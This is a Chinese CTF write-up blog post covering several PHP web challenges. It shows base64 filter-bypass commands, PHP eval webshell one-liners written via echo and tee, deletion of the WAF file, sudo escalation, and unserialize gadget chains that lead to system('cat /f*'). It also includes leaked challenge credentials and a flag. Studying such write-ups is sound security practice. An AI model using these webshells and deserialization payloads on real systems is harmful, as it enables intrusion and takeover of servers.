 '/flag/',
 '/\//',
 '/>/'
 ];
 
 foreach ($patterns as $pattern) {
 if (preg_match($pattern, $input)) {
 return true;
 }
 }
 return false;
 }
 if (isset($_POST['rce']) && containsPathTraversal($_POST['rce'])) {
 die('不不不,我也有底线的,至少在这个文件夹内,你随意');
 }
 ?>
 <!DOCTYPE html>
 <html lang="zh-CN">
 <head>
 <meta charset="UTF-8">
 <title>在干嘛?</title>
 </head>
 <body>
 <h1>这里什么也没有</h1>
 </body>

base64 编码绕过

`echo 'bHMgLw==' | base64 -d` //ls /
`echo 'Y2F0IC9mbGFn' | base64 -d` //cat /flag
这里读不到flag,后面才知道需要sudo一下
echo '<?php @eval($_POST[0]); ?>'>shell.php
`echo 'ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzBdKTsgPz4nPnNoZWxsLnBocA==' | base64 -d | sh`

蚁剑连接后发现读不到 flag,sudo 一下就可以

看大佬 wp 可以用 tee 绕过重定向符来写马

echo "<?=@eval(\$_POST["nuli"]);" | tee 1.php

还可以直接删掉 waf

rm no.php

怎么知道要 sudo?

查看/usr/bin 发现可以利用的命令

ls /usr/bin

任务 cmd-rce

扫目录发现 login.php,登陆需要 boss 的密钥

存在/new/文件夹,可以进行信息收集

boss.html 提示密钥给小黑保管,看来要尝试找到小黑的后台

在 new/file/upload.php 这里发现网页名为 command executor

尝试 GET 传入 cmd 命令果然可以执行,可以直接读 flag

flag{75a121dbb82083c9ec797c39d9b9effe}

但是我觉得没有这么简单,我们来看看到底发生了什么

<?php

session_start();

header("X-Powered-By: the username is :  xiaoming");

// 假设 用户名是 admin,密码是 password

$valid_username = "xiaoming";

$valid_password = "123123";


// 检测登录

if (isset($_POST['username']) && isset($_POST['password'])) {

    if ($_POST['username'] === $valid_username && $_POST['password'] === $valid_password) {

        $_SESSION['loggedin'] = true;

        header("Location: /ordinary-user/2.php?id=xiaoming");

        exit();

    } else {

        $error = "账号或者密码不对哦";

    }

}

?>


<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>小明的后台</title>

    <style>

        body {

            background-image: url('a.jpg');

            background-size: cover;

            display: flex;

            justify-content: center;

            align-items: center;

            height: 100vh;

            color: white; /* 设置字体颜色为白色 */

            margin: 0;

        }

        .login-container {

            background: rgba(0, 0, 0, 0.7); /* 添加一个半透明背景,使文本更易读 */

            padding: 20px;

            border-radius: 10px;

            text-align: center;

        }

        input {

            margin: 10px 0;

            padding: 5px;

            width: 100%;

        }

        button {

            padding: 8px;

            width: 80%;

            background-color: #28a745; /* 按钮的颜色 */

            color: white; /* 按钮文字颜色 */

            border: none;

            border-radius: 5px;

            cursor: pointer;

        }

        button:hover {

            background-color: #218838; /* 鼠标悬停时按钮颜色 */

        }

    </style>

</head><!--HTML-->

<body>

    <div class="login-container">

        <h2>小明你好</h2><!--小明和小黑是boss手下的员工,你的身份是特工来获取boss的信息,注意:小明和小黑他俩只是普通员工,但是小黑好像掌握着boss的一些信息-->

        <form method="POST" action="">

            <label for="username">账号:</label>

            <input type="text" name="username" required>

            <br>

            <label for="password">密码:</label>

            <input type="password" name="password" required>

            <br>

            <button type="submit">Login</button>

        </form>

        <?php if (isset($error)) echo "<p>$error</p>"; ?>

    </div>

</body>

</html>

可以看见小明的账密,是一个弱口令

登录后看见 url 处可以更改 id /ordinary-user/2.php?id=xiaoming

得到密钥 bossisxiaoheizi

<?php session_start(); header("X-Powered-By: the username is :  admin"); 


// 假设 用户名是 admin,密码是 flower

$valid_username = "admin"; 

$valid_password = "flower"; 

$valid_secret = "bossisxiaoheizi"; // 新的秘密密码


// 检测登录

if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['secret'])) {

    if ($_POST['username'] === $valid_username && 

        $_POST['password'] === $valid_password && 

        $_POST['secret'] === $valid_secret) {


        $_SESSION['loggedin'] = true; 

        header("Location: /new/boss.html"); 

        exit(); 

    } else { 

        $error = "是本人吗?"; 

    } 

} 

?>


<!DOCTYPE html> 

<html lang="en"> 

<head>     

    <meta charset="UTF-8">     

    <meta name="viewport" content="width=device-width, initial-scale=1.0">     

    <title>admin</title>     

    <style>         

        body {             

            background-image: url('b.jpg');             

            background-size: cover;             

            display: flex;             

            justify-content: center;             

            align-items: center;             

            height: 100vh;             

            color: white; /* 设置字体颜色为白色 */             

            margin: 0;         

        }         

        .login-container {             

            background: rgba(0, 0, 0, 0.7); /* 添加一个半透明背景,使文本更易读 */             

            padding: 20px;             

            border-radius: 10px;             

            text-align: center;         

        }         

        input {             

            margin: 10px 0;             

            padding: 5px;             

            width: 100%;         

        }         

        button {             

            padding: 8px;             

            width: 80%;             

            background-color: #28a745; /* 按钮的颜色 */             

            color: white; /* 按钮文字颜色 */             

            border: none;             

            border-radius: 5px;             

            cursor: pointer;         

        }         

        button:hover {             

            background-color: #218838; /* 鼠标悬停时按钮颜色 */         

        }     

    </style> 

</head>


<body>     

    <div class="login-container">         

        <h2>admin</h2>         

        <form method="POST" action="">             

            <label for="username">账号:</label>             

            <input type="text" name="username" required>             

            <br>             

            <label for="password">密码:</label>             

            <input type="password" name="password" required>             

            <br>             

            <label for="secret">boss的秘钥:</label>   <!-- 新增秘密字段 -->          

            <input type="text" name="secret" required>            

            <br>             

            <button type="submit">Login</button>         

        </form>         

        <?php if (isset($error)) echo "<p>$error</p>"; ?>     

    </div> 

</body> 

</html>

可以看见 boss 的账密,这里应该是用字典爆破出来的

登录后才会到 boss.html

看来是非预期了,new 文件夹泄露导致我直接访问到了 boss.html

这个 ordinary-user 目录同样是可以直接访问的,里面的 2.php 存着 user 信息

ezezser-git 泄露 反序列化

$polarday = $_GET['polarday'];
$polarnight = $_GET['polarnight'];

if (isset($polarday) && isset($polarnight)) {
    $polar520 = unserialize($_COOKIE['polar520']);
    $polar520->login($polarday, $polarnight);
}
class backDoor {
    private $key;
    public function getInfo() {
        eval($this->key);
    }
}
难道就这些?

应该不是完整代码,但是先看一下

显然这里的 login 方法是不存在的,backDoor 也利用不了

扫目录发现 git 源码泄露,githack 下来

"<?php user:T1nk7997;password:20a731829975cb1220481d4e7a9972c3; ?>"
"Hello ! "

暂时没看出用处,不过或许可以 login 了?

尝试传了一下好像没用

看了一下 wp 原来还有 git 回滚。。

lijiejie 的 githack 我 dump 下来源码后没法 git reset,紧急装了一个 githacker 终于回滚出来

<?php
error_reporting(0);
highlight_file(___FILE___);

$polarday=$_GET['polarday'];
$polarnight=$_GET['polarnight'];

if(isset($polarday) && isset($polarnight)){
    $polar520 = unserialize($_COOKIE['polar520']);
    $polar520->login($polarday,$polarnight);
}

class info{
    private $polar520='nukaka';
    public function getInfo(){
        return $this->polar520;
    }
}

class polar520{
    private $polarday='nukaka';
    private $polarnight='nukaka';
    private $polar=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($a,$b){
        return $this->polarday===$a&&$this->polarnight===$b;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class backDoor{
    private $key;
    public function getInfo(){
        eval($this->key);
    }
}

那就可以利用反序列化 rce 了

backDoor.getInfo <- polar520.__destruct

<?php

class polar520{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $key = "system('cat /f*');";
}

$pol = new polar520();
$payload = serialize($pol);
echo $payload."<br>";
echo urlencode($payload);

一开始遇到一个误区:遇到一个 private 要赋值为类就不知道怎么办了,其实在构造函数处理就可以

Deserialize-反序列化

根据提示先信息收集

扫目录没有结果,猜测是 hidden 路由,访问一下

On this basis, you will soon be able to see hidden file

此时网页标题变成了 php

根据提示尝试了很久,发现/hidden/hidden.php

<?php

class Token {
    public $id;
    public $secret;

    public function __construct($id, $secret) {
        $this->id = $id;
        $this->secret = $secret;
    }

    public function generateToken() {
        return "Token for {$this->id}";
    }
}

class User {
    public $name;
    public $isAdmin = false;
    public $token;

    public function __construct($name, $isAdmin, Token $token) {
        $this->name = $name;
        $this->isAdmin = $isAdmin;
        $this->token = $token;
    }

    public function getInfo() {
        return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin");
    }
}

class Product {
    public $productName;
    public $price;

    public function __construct($productName, $price) {
        $this->productName = $productName;
        $this->price = $price;
    }

    public function displayProduct() {
        return "Product: {$this->productName}, Price: {$this->price}";
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    $user = unserialize($data);
    if ($user instanceof User) {
        echo $user->getInfo() . "<br>";
        echo "Token: " . $user->token->generateToken() . "<br>";
        echo "Product: " . $user->token->product->displayProduct() . "<br>";
        if ($user->isAdmin) {
            echo "Here is your flag: " . file_get_contents('/flag');
        } else {
            echo "You are not admin!";
        }
    } else {
        echo "Invalid user data.";
    }
} else {
    highlight_file(__FILE__);
}
?>

反序列化伪造身份验证

<?php

class Token {
    public $id;
    public $secret;

    public function __construct($id, $secret) {
        $this->id = $id;
        $this->secret = $secret;
    }
}

class User {
    public $name;
    public $isAdmin = true;
    public $token;

    public function __construct($name, $isAdmin, Token $token) {
        $this->name = $name;
        $this->isAdmin = $isAdmin;
        $this->token = $token;
    }
}

class Product {
    public $productName;
    public $price;

    public function __construct($productName, $price) {
        $this->productName = $productName;
        $this->price = $price;
    }
}

$to = new Token("1","2");
$to->product = new Product("1","2");
$pol = new User("1",true,$to);
$payload = serialize($pol);
echo $payload."<br>";
echo urlencode($payload);
posted @ 2025-05-26 23:41  xNftrOne  阅读(204)  评论(0)    收藏  举报